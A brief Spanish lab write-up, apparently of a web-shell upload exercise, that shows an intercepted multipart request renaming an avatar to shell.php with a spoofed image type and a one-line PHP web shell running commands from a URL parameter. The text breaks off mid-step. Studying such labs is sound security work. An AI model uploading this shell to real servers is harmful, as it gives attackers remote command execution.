Remote code execution via web shell upload

En el sitio web encontramos un apartado para subir una imagen.

Probamos subir una imagen y este se nos pone como avatar.

Interceptamos y insertamos un código en php para obtener un web shell.

------geckoformboundary898b737b1d908541730ff05f516dd0ba
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

Luego enviamos la petición.

Al ir a la ruta de nuestra shell.php y ejecutar comandos, se observa que efectivamente se puede ejecutar comandos.

Probamos desde el burpsuite para observar mejor: